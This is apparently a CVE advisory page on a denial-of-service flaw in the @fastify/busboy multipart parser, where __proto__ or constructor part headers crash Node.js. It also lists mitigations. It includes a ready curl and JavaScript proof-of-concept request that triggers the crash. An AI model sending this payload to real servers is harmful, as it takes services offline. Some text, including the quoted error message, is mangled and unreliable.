@fastify/busboy, Denial of Service via prototype-named multipart part header, CVE ID Not Provided (High) -DC-Oct2026-2711

Listen to this Post

The vulnerability affects @fastify/busboy from 1.0.0 prior to 3.2.1.
It is a Denial of Service in the multipart header parser.
The parser stores part-header names on a plain JavaScript object.
A part header named proto resolves to an inherited value.
A part header named constructor also resolves to an inherited value.

That inherited value is not an array.

When the parser calls this.header

.push, it throws.</h2>

The exact error is TypeError: this.header[bash].push is not a function.

<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">This happens before application middleware runs.</h2>

<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">Any unauthenticated client can submit multipart/form-data.</h2>

The documented req.pipe(busboy) integration surfaces it as an error event.

<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">Direct write()/end() usage throws synchronously.</h2>

If uncaught, the synchronous throw can terminate the Node.js process.
The crash is caused by prototype-named multipart part headers.
The parser does not safely own-property check header names.

<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">__proto__ and constructor are inherited Object properties.</h2>

<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">They are not arrays, so push is unavailable.</h2>

<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">This is a Denial of Service condition.</h2>

<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">The attack requires a multipart request.</h2>

<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">No authentication is required.</h2>

<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">The parser runs early in request handling.</h2>

<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">The issue was fixed in version 3.2.1.</h2>

<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">Workarounds include attaching an error listener.</h2>

<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">Workarounds include wrapping write()/end() in try/catch.</h2>

<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">Upgrading to 3.2.1 removes the failure entirely.</h2>

<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">The advisory is high severity.</h2>

<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">GitHub reviewed the advisory.</h2>

<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">NVD published the advisory.</h2>

<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">The advisory was published on Aug 12, 2026.</h2>

<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">It was updated on Oct 2, 2026.</h2>

<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">The vulnerable package is @fastify/busboy.</h2>

The impact is process termination or handled stream error.

<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">DailyCVE Form:</h2>

Platform: @fastify/busboy
Version: 1.0.0 < 3.2.1
Vulnerability: Prototype-named multipart DoS
Severity: High
date: Aug 12 2026

<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">Prediction: Fixed in 3.2.1</h2>

<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">What Undercode Say:</h2>

<h2 class="f1b-anim" style="color:#3b82f6;border-left:4px solid #3b82f6;padding-left:12px;margin:22px 0 10px 0;font-weight:bold">Analytics:</h2>

[bash]
npm ls @fastify/busboy
npm view @fastify/busboy versions
npm audit
npm install @fastify/[email protected]
const Busboy = require('@fastify/busboy');
const busboy = new Busboy({ headers: req.headers });
req.pipe(busboy);
busboy.on('error', (err) => {
console.error('Busboy parser error:', err);
});

Exploit: (Educational Purposes!)

curl -X POST http://target/upload \
-H 'Content-Type: multipart/form-data; boundary=-x' \
--data-binary $'x\r\nContent-Disposition: form-data; name="file"; filename="a.txt"\r\n__proto__: x\r\n\r\nA\r\nx--\r\n'
const Busboy = require('@fastify/busboy');
const busboy = new Busboy({
headers: { 'content-type': 'multipart/form-data; boundary=-x' }
});
busboy.write('x\r\nContent-Disposition: form-data; name="file"; filename="a.txt"\r\n__proto__: x\r\n\r\nA\r\nx--\r\n');
busboy.end();

Protection: from this CVE Impact:

const busboy = new Busboy({ headers: req.headers });
busboy.on('error', (err) => {
console.error('Busboy parser error:', err);
});
req.pipe(busboy);
try {
busboy.write(chunk);
busboy.end();
} catch (err) {
console.error('Busboy write error:', err);
}
npm install @fastify/[email protected]

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top